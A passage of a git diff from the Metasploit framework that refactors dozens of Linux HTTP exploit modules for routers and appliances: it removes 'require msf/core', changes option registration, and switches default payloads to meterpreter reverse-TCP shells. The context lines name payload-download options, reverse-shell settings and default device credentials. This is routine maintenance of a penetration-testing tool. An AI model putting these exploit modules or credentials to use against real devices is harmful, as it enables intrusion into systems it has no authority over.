ExcellentRanking @@ -56,13 +54,13 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME',[ true, 'User to login with', 'admin']), OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']), - ], self.class) + ]) register_advanced_options( [ OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) - ], self.class) + ]) end def tel_timeout diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb index 836f6091b3..e69621529f 100644 --- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # Because only has been tested on a QEMU emulated environment diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index e0edc210c1..69650003f6 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -71,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb index a6957b0115..6104c0facf 100644 --- a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb +++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb index 9327460abf..2bb3d2fb6e 100644 --- a/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb index f58e7ef41c..3ec8f0be92 100644 --- a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/linux/http/dlink_hnap_bof.rb b/modules/exploits/linux/http/dlink_hnap_bof.rb index 1e152c7bb3..e50f29cc64 100644 --- a/modules/exploits/linux/http/dlink_hnap_bof.rb +++ b/modules/exploits/linux/http/dlink_hnap_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb b/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb index c6e14ef89a..bac80a2cc1 100644 --- a/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/linux/http/dlink_hnap_login_bof.rb b/modules/exploits/linux/http/dlink_hnap_login_bof.rb index 8495659ee5..cf9d9f107d 100644 --- a/modules/exploits/linux/http/dlink_hnap_login_bof.rb +++ b/modules/exploits/linux/http/dlink_hnap_login_bof.rb @@ -3,15 +3,13 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - # Payload working status: # MIPS: # - all valid payloads working (the ones that we are able to send without null bytes) # ARM: # - inline rev/bind shell works (bind... meh sometimes) # - stager rev/bind shell FAIL -# - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb... +# - meterpreter rev/bind fails with sigsegv standalone, but works under strace or gdb... class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -95,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']), OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']), OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']), - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 396e03d2d5..f7cef2ffb4 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(49152) # port of UPnP SOAP webinterface - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/dnalims_admin_exec.rb b/modules/exploits/linux/http/dnalims_admin_exec.rb index dd4c92822a..4837b5d410 100644 --- a/modules/exploits/linux/http/dnalims_admin_exec.rb +++ b/modules/exploits/linux/http/dnalims_admin_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index 599c0ae82c..134a4eb7a4 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [true, 'Dolibarr Username', 'admin']), OptString.new('PASSWORD', [true, 'Dolibarr Password', 'test']), OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/dreambox_openpli_shell.rb b/modules/exploits/linux/http/dreambox_openpli_shell.rb index 0f79eb3ee7..65eb8168cd 100644 --- a/modules/exploits/linux/http/dreambox_openpli_shell.rb +++ b/modules/exploits/linux/http/dreambox_openpli_shell.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index 181d8e72d6..610ba17a64 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -102,12 +100,12 @@ class MetasploitModule < Msf::Exploit::Remote 'Valid password for the proxy user account']), OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']) - ], self.class) + ]) register_advanced_options( [ OptInt.new('HTTPClientTimeout', [ true, 'HTTP read response timeout (seconds)', 5]) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/empire_skywalker.rb b/modules/exploits/linux/http/empire_skywalker.rb index f757387969..a8aadc57e5 100644 --- a/modules/exploits/linux/http/empire_skywalker.rb +++ b/modules/exploits/linux/http/empire_skywalker.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]), OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]), OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/esva_exec.rb b/modules/exploits/linux/http/esva_exec.rb index 3e812db793..ad58d7a292 100644 --- a/modules/exploits/linux/http/esva_exec.rb +++ b/modules/exploits/linux/http/esva_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index b2be257015..e81b0d05da 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'nokogiri' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/linux/http/f5_icontrol_exec.rb b/modules/exploits/linux/http/f5_icontrol_exec.rb index 833681f114..260492afca 100644 --- a/modules/exploits/linux/http/f5_icontrol_exec.rb +++ b/modules/exploits/linux/http/f5_icontrol_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']), OptString.new('HttpUsername', [true, 'The username to authenticate with', 'admin']), OptString.new('HttpPassword', [true, 'The password to authenticate with', 'admin']) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb index 26d8d64381..34538d5229 100644 --- a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb +++ b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/fritzbox_echo_exec.rb b/modules/exploits/linux/http/fritzbox_echo_exec.rb index 8f634e376a..c4bd8ab1eb 100644 --- a/modules/exploits/linux/http/fritzbox_echo_exec.rb +++ b/modules/exploits/linux/http/fritzbox_echo_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/github_enterprise_secret.rb b/modules/exploits/linux/http/github_enterprise_secret.rb index 7fa8bf2621..ba914ba612 100644 --- a/modules/exploits/linux/http/github_enterprise_secret.rb +++ b/modules/exploits/linux/http/github_enterprise_secret.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/']) - ], self.class) + ]) end def secret diff --git a/modules/exploits/linux/http/gitlist_exec.rb b/modules/exploits/linux/http/gitlist_exec.rb index 64a57f904f..1049eb3046 100644 --- a/modules/exploits/linux/http/gitlist_exec.rb +++ b/modules/exploits/linux/http/gitlist_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/gpsd_format_string.rb b/modules/exploits/linux/http/gpsd_format_string.rb index c29ee861d9..eb3d216918 100644 --- a/modules/exploits/linux/http/gpsd_format_string.rb +++ b/modules/exploits/linux/http/gpsd_format_string.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(2947) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb index 112999f051..f21ccf0482 100644 --- a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb +++ b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('USERNAME', [true, 'GroundWork Username', 'user']), OptString.new('PASSWORD', [true, 'GroundWork Password', 'user']) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/hp_system_management.rb b/modules/exploits/linux/http/hp_system_management.rb index b478063baa..bed5b5fe76 100644 --- a/modules/exploits/linux/http/hp_system_management.rb +++ b/modules/exploits/linux/http/hp_system_management.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(2381), OptBool.new('SSL', [true, 'Use SSL', true]) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb index b41217467a..4a04ddc7e1 100644 --- a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb +++ b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'base64' class MetasploitModule < Msf::Exploit::Remote @@ -40,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => true, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp' + 'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp' }, 'Targets' => [ diff --git a/modules/exploits/linux/http/ipfire_bashbug_exec.rb b/modules/exploits/linux/http/ipfire_bashbug_exec.rb index 6d66e2a588..c949c8746c 100644 --- a/modules/exploits/linux/http/ipfire_bashbug_exec.rb +++ b/modules/exploits/linux/http/ipfire_bashbug_exec.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/ipfire_proxy_exec.rb b/modules/exploits/linux/http/ipfire_proxy_exec.rb index 887c20e3be..874f7f38df 100644 --- a/modules/exploits/linux/http/ipfire_proxy_exec.rb +++ b/modules/exploits/linux/http/ipfire_proxy_exec.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb index b041765530..1212a22e56 100644 --- a/modules/exploits/linux/http/kloxo_sqli.rb +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper @@ -64,13 +62,13 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(7778), OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/']) - ], self.class) + ]) register_advanced_options( [ OptString.new('SERVER_CLASS', [false, 'The server class']), OptString.new('SERVER_NAME', [false, 'The server name']) - ], self.class) + ]) end def report_cred(opts) diff --git a/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb index 05e87087a2..93a314783c 100644 --- a/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb +++ b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']), OptString.new('USERNAME', [true, 'The username to authenticate with', 'administrator']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin123']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/http/linksys_apply_cgi.rb b/modules/exploits/linux/http/linksys_apply_cgi.rb index a51d2dbdd6..719a939656 100644 --- a/modules/exploits/linux/http/linksys_apply_cgi.rb +++ b/modules/exploits/linux/http/linksys_apply_cgi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RHOST('192.168.1.1') - ], self.class) + ]) end # Approx size of the remaining space in the data segment after our buffer diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index 1dbfb9f6e8..473286c54e 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb index 9dfc13e0d4..9626c4abdc 100644 --- a/modules/exploits/linux/http/linksys_themoon_exec.rb +++ b/modules/exploits/linux/http/linksys_themoon_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index 42588991ae..aa0c34b045 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('HttpPassword', [ false, 'Password to login with', 'admin']), OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']), OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20]) - ], self.class) + ]) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end diff --git a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb index d375f3b7f9..65eb16b9b9 100644 --- a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/tftp' class MetasploitModule < Msf::Exploit::Remote @@ -67,10 +66,10 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]), - OptAddress.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]), + OptAddressLocal.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10]) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index d889ea6568..ee473f6827 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -71,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ]) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/multi_ncc_ping_exec.rb b/modules/exploits/linux/http/multi_ncc_ping_exec.rb index 2006f04b3d..35402c5f93 100644 --- a/modules/exploits/linux/http/multi_ncc_ping_exec.rb +++ b/modules/exploits/linux/http/multi_ncc_ping_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # Only tested on Emulated environment @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]), OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']), OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb index a80a737cb1..3536557ce6 100644 --- a/modules/exploits/linux/http/mutiny_frontend_upload.rb +++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']), OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]) - ], self.class) + ]) end def upload_file(location, filename, contents) diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb index dc2ecb8c44..5498a94f5d 100644 --- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_ARMLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp', + 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', 'CMDSTAGER::FLAVOR' => 'wget' }, 'Targets' => diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb index 6caa30d7f8..18d77277ea 100644 --- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index 74d53b5e34..d80ae85c0d 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -71,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45]) - ], self.class) + ]) end def get_config(config, pattern) diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb index 218d39513d..b2f5c1a4da 100644 --- a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -39,14 +37,14 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Dec 06 2016', 'DefaultOptions' => { - 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp' + 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' } )) register_options( [ Opt::RPORT(80) - ], self.class) + ]) deregister_options('URIPATH') end diff --git a/modules/exploits/linux/http/netgear_readynas_exec.rb b/modules/exploits/linux/http/netgear_readynas_exec.rb index 9a4bc77e7a..809079bbcc 100644 --- a/modules/exploits/linux/http/netgear_readynas_exec.rb +++ b/modules/exploits/linux/http/netgear_readynas_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(443) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/netgear_wnr2000_rce.rb b/modules/exploits/linux/http/netgear_wnr2000_rce.rb index d5203fd597..17e3dface3 100644 --- a/modules/exploits/linux/http/netgear_wnr2000_rce.rb +++ b/modules/exploits/linux/http/netgear_wnr2000_rce.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'time' class MetasploitModule < Msf::Exploit::Remote @@ -73,12 +72,12 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(80), OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']), OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']), - ], self.class) + ]) register_advanced_options( [ OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]), OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb index 0ed06f592e..b9ff1f162c 100644 --- a/modules/exploits/linux/http/nginx_chunked_size.rb +++ b/modules/exploits/linux/http/nginx_chunked_size.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -65,12 +63,12 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptPort.new('RPORT', [true, "The remote HTTP server port", 80]) - ], self.class) + ]) register_advanced_options( [ OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]), - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb b/modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb index 7bf437647d..d5a190d4e3 100644 --- 